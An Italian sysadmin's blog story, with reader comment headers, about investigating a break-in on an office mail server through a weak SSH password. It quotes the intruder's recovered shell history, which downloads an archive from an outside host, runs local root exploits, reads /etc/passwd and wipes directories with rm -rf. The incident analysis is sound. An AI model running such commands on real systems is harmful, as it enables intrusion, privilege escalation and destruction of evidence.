Storie dalla Sala Macchine

Cracking Time

B - D? Sono B. Senti, qui e' successo un casino dovresti venire a dare un occhiata.

Non devo dire come e' che B ha il mio numero di cellofono eh?

IO - ? Io? Alle sette di mattina? E perche' io?
B - Ti ricordi l'altra volta quando abbiamo scoperto quei PC di $noivendiamoariafritta nell'armadio? Ecco, ci sono altri problemi e penso che dovresti dare un occhiata a qualche cosa.
IO - Hemmm... io dovrei andare in ufficio...
B - Chiamo DB e gli dico che vieni qui per fare una cosa importantissima.
IO - Ma seriamente, non potete aspettare nel pom...
B - Nooooo!!!!!

Comunque, dopo un certo tira-e-molla ed una chiamata diretta a DB che da la sua benedizione (e la mia doccia per ritornare in forma quasi umana), mi dirigo verso $noivendiamobigliettisuinternet (che in effetti sta a 5 km da casa mia).

Li' B mi agguanta e mi spiega che succede.

B - Allora, stamani la nostra receptionista e' arrivata molto presto e non riusciva a leggere la sua posta.
IO - E che c'e' di strano? Si sara' scordata la password.
B - No, non si era scordata la password, perche' non la cambia mai, ma qualcuno l'aveva cambiata per lei e no non sono stata io a cambiarla e si io sono l'unica che puo' cambiare le password degli utenti.
IO - (aspettando il seguito) ...e?
B - Da quando in qua le password si cambiano da sole?
IO - Huemmm... di solito non succede. Vabbe' vediamo sta cosa.

Cosi' andiamo in Sala Macchine, perche' B (ragazza intelligente) ha staccato il cavo di rete del server di posta interno, che fa anche da gateway verso internet per l'ufficio. Attacco una tastiera ed un monitor e guardo. Un 'last' mi dice che gli unici che hanno fatto login sono B dalla console alle 7 di mattina e UL di $noivendiamoariafritta via SSH alle 2 del mattino... Quest'ultimo risulta aver fatto login da un IP di AOL. Qui gatta ci cova.

Un controllino nella homedir di UL la rivela vuota. Vuota. Sento puzza di bruciato. Come minimo dovrebbe esserci un .bash_history se ha fatto login via SSH.

Un controllo nel log di sistema mi dice che "UL" ha sbagliato password 2 volte prima di accedere. Non sembra un brute-force attack.

Sfodero la chiavetta USB ed installo il mio root-kit-test, un controllo non riporta cose strane. Un rapido test mi dice che gli unici files modificati in /etc sono /etc/passwd ed /etc/shadow, ma a questo punto non sono del tutto sicuro di quanto posso fidarmi di questa macchina.

IO - Mi sa che hai fatto bene a chiamarmi e che questa macchina dovra essere reinstallata, tanto per stare sul sicuro. Sai mica che password aveva UL?
B - Non lo so ma posso scoprirlo.
IO - Ok, tu vai e scopri che io vedo qui che posso scoprire.

Mi viene in mente a quel punto che il backup parte alle 2.30, e magari ha 'salvato' qualche cosa di interessante. Quindi guardo sul disco USB (che viene montato e smontato dalla procedura di backup) e vedo che la directory di UL non e' vuota nel backup di ieri. O gioia. Cosi' riesco a scovare questo interessante frammento di storia:

w
uname -a 
ps aux 
ls -a
last
ps aux 
mailq 
ls -a
cat /etc/issue 
ps ax 
wget makingcash.ucoz.co.uk/Muistul.tgz
tar xzvf Muistul.tgz 
cd .local/
./2007
./raptor 
ls
ps aux 
last root
ps ax 
uname -a 
cat /etc/passwd
su receptions
su B
su SL
su CL
su ...
cat /etc/passwd
su ...
su ...
su ...
ls -a
cd /tmp
ls -a
rm -rf .* * 
cd /var/tmp
ls -a
rm -rf .* * 
cd ~
ls -a
cat .bash_history
rm -rf .* * 
passwd
ps aux 
ls -a
last
clear 
cat /etc/issue 
exit

Gli altri "su" non hanno dato frutti. Un dubbio atroce mi piglia e controllo. No, per fortuna UL non era in sudo. Non che il tipo ci abbia provato comunque.

B ritorna con una faccia schifata.

B - Ci crederesti? La sua password era $nomediUL123.
IO - E adesso e' "seilicenziatoidiota"?
B - Dimmi che non ci e' entrato dentro qualcuno!
IO - Sorry. Ma si', e' entrato dentro qualcuno. Ma non mi sembra che abbia fatto molto. In ogni caso l'unico accesso che aveva era in questa macchina no? Quindi anche se aveva una password idiota non ha potuto fare danni altrove. Vedi che a volte il non avere un sistema di autenticazione centralizzato e' un bene?

A questo punto B ha insistito per offrirmi la colazione nel baretto all'angolo e poi ho speso il resto della giornata reinstallando la macchina e controllando gli altri sistemi dell'ufficio. Dai discorsi che ho udito non credo che $noivendiamoariafritta vendera molto in questo posto.

Davide
12/01/2009 08:30

Precedente Successivo

I commenti sono aggiunti quando e soprattutto se ho il tempo di guardarli e dopo aver eliminato le cagate, spam, tentativi di phishing et similia. Quindi non trattenete il respiro.

50 messaggi this document does not accept new posts

Un buon modo per iniziare la giornata Di Gama postato il 12/01/2009 08:18

Data Di Kaspa postato il 12/01/2009 08:19

-AT- Kaspa Di Davide Bianchi postato il 12/01/2009 08:31

Che dolce risveglio...... Di Eugenio Dorigati postato il 12/01/2009 08:53

subject Di RaDu postato il 12/01/2009 08:54

-AT- RaDu Di Davide Bianchi postato il 12/01/2009 09:23

Signature Di Gama postato il 12/01/2009 08:55

Domanda: la signature inserita nel profilo utente non viene inserita al termine del messaggio in automatico?
Se la risposta e' "si" allora c'e' qualcosa che non va: ho impostato una signature ma, per lo meno nell'ultimo messaggio, non viene visualizzata.

Vediamo se d'ora in poi mi ricordo di non firmarmi visto che il nome viene messo in automatico!

-- Gama

Non tutto il male viene per nuocere.... Di Cobra78 postato il 12/01/2009 09:17

Brutti ricordi Di johnnymnemonic postato il 12/01/2009 09:56

E ci risiamo... Di noob postato il 12/01/2009 10:06

Exploit Di Daniele Levi postato il 12/01/2009 10:10

subject Di Daniele G. postato il 12/01/2009 10:22

Ammiro B ogni storia di più

-- Daniele G.

-AT- Daniele G. Di Davide Bianchi postato il 12/01/2009 12:30

dipende... Di mau postato il 12/01/2009 18:54

dipende com'è... magari è una donna libera
(e magari gradevole alla vista)

-- mau

cose varie Di Herr Franz postato il 12/01/2009 11:10

-AT- Herr Franz Di Davide Bianchi postato il 12/01/2009 12:31

groan... Di dpantaleo postato il 12/01/2009 11:20

... sono estremamente deluso! questo tentativo era mooolto al di sotto della media, o sbaglio?

-AT- davide: quando fai lo zip delle storie del 2008, che così me le rileggo sul cellofono

-- dpantaleo

dolce risveglio? Di Tommaso postato il 12/01/2009 11:25

dai bigD, non ti lamentare, se a svegliarti era un'altrO CL a caso ti andava molto peggio!
E comunque non credo ti dispiaccia di passare una giornata pagato con B, no?

-- Tommaso

Sudo.. Di Dom postato il 12/01/2009 11:48

-AT- Dom Di Davide Bianchi postato il 12/01/2009 12:33

Sudo ma Godo ? Di filippo postato il 12/01/2009 14:57

sudo Di Andrea Ballarati postato il 13/01/2009 09:01

+1 x sudo Di Tommaso postato il 13/01/2009 09:38

Hum... Di spacexplorer postato il 12/01/2009 12:40

Qualche bacchettata ha chi ha fatto il "sistema" da B ci
andrebbe pero` (posta interna e gw sulla stessa macchina,
pass o non forzatamente cambiate a tempo, o comunque nessun
impedimento a (ri)mettere la stessa, mi sembra un ssh con
pass senza chiave, "bkup" direttamente sul server)...

Perche` non proponi un mini-pc tipo il tuo audioserver come gw
e/o come mini logstation che replica i log delle macchine piu`
importanti (una jail per macchina, chflags sappnd per ogni log
con securlevel a 3)?

Grazie di nuovo per la "compagnia del lunedi`" (che con i
"commenti" dura tutta la settimana)! Fammi sapere per il css

-- spacexplorer

non male Di Daniele postato il 12/01/2009 12:40

subject Di Gabriele Corrieri postato il 12/01/2009 13:14

-AT- Gabriele Corrieri Di Andrea Occhi postato il 14/01/2009 17:26

root exploit Di checkitout3 postato il 12/01/2009 13:26

-AT- checkitout3 Di Davide Bianchi postato il 12/01/2009 14:39

root exploit Di checkitout3 postato il 12/01/2009 15:03

-AT- checkitout3 Di Davide Bianchi postato il 12/01/2009 15:05

... Di Nik postato il 12/01/2009 19:04

Maaaa.... Di Mick Zio Zero postato il 12/01/2009 22:01

Bello Di kache postato il 12/01/2009 23:53

-AT- kache Di Davide Bianchi postato il 13/01/2009 08:31

... Di Gabriele Corrieri postato il 13/01/2009 00:54

The bold and the red Di maxxfi postato il 13/01/2009 09:05

Carino il sistema dei commenti.
Se non costa molta fatica, IMVHO non sarebbe male evidenziare i nomi registrati p.es. in grassetto e quello di Davide in rosso.

Riguardo al letto, consiglio anch'io IKEA (se ce n'e' uno vicino).
E' relativamente economico ma soprattutto e' hacker-friendly

-- maxxfi

subject Di Diego postato il 13/01/2009 13:10

-AT- Diego Di Davide Bianchi postato il 13/01/2009 14:25

-AT- Diego Di Davide Bianchi postato il 13/01/2009 14:48

AAA Di Samuel postato il 13/01/2009 18:06

ciao
complimenti per il sito e soprattutto per le storie... si comincia bene la settimana leggendoti

Faccio anche una proposta costruttiva (spero) al sito:

per postare un messaggio, senza quotare (rispondi) ad un post precedente bisogna risalire l'elenco dei messaggi inseriti, si potrebbe inserire anche questo link in coda ai messaggi postati?

grazie

-- Samuel

-AT- Samuel Di Davide Bianchi postato il 13/01/2009 18:49

scafato? Di Thurill-AT-gmail.com postato il 14/01/2009 14:02

-AT- Thurill-AT-gmail.com Di Lo Zeno postato il 15/01/2009 13:58

non funzionano su questo kernel Di Davide Inglima postato il 15/01/2009 21:02

Un buon modo di iniziare la giornata (2) Di kallsu postato il 16/01/2009 21:18

-AT- kallsu Di Davide Bianchi postato il 17/01/2009 08:39

> Ho maledetto l'orrido programmatore in vacanza per giorni e giorni, comunque appena tornato ha scontato tributo pagando colazioni per 1 mese di fila !

Bhe', fa piacere vedere che c'e' una certa giustizia nel mondo.

-- Davide Bianchi

quando il caso ci mette lo zampino ..... Di soichiro postato il 17/01/2009 22:56

Proprio 10 minuti fa mi chiama un'amica di famiglia per chiedermi se posso reinstallarle, per l'ennesima volta, il sistema visto che gliel'hanno "HECHARATO" (mettere su un firewall & un antivir serio non symacoso o il merdaviglioso affare che danno con alice di telecom italia no eh? o_O ).

Qui in italia il numero dei sistemi craccati/infetti in giro deve essere enorme a causa dell'ignoranza che vige in ambito informatico, dico solo che un ragazzino di 15 anni(ora ne ha di più ma le conoscenze latitano sempre) è stato acclamato dai media come esperto di sicurezza informatica :| , solo perchè scrive(va) guide for dummies e propone servizi assurdi (tra cui un sicurissimo sistema gratuito di gestione delle password via web :F )

Tornando alla storia che aspetta il management di $noivendiamobigliettisuinternet(o in alternativa B) a mettere il cartello io non posso entrare con la faccia degli ul di $noivendiamoariafritta dopo aver sbattuto fuori dalla finestra i serwer ???

-- soichiro

-AT- soichiro Di Davide Bianchi postato il 18/01/2009 09:17

file scaricato Di mk postato il 20/03/2009 12:08

50 messaggi this document does not accept new posts

Precedente Successivo

Il presente sito e' frutto del sudore della mia fronte (e delle mie dita), se siete interessati a ripubblicare uno degli articoli, documenti o qualunque altra cosa presente in questo sito per cortesia datemene comunicazione (o all'autore dell'articolo se non sono io), cosi' il giorno che faccio delle aggiunte potro' avvisarvi e magari mandarvi il testo aggiornato.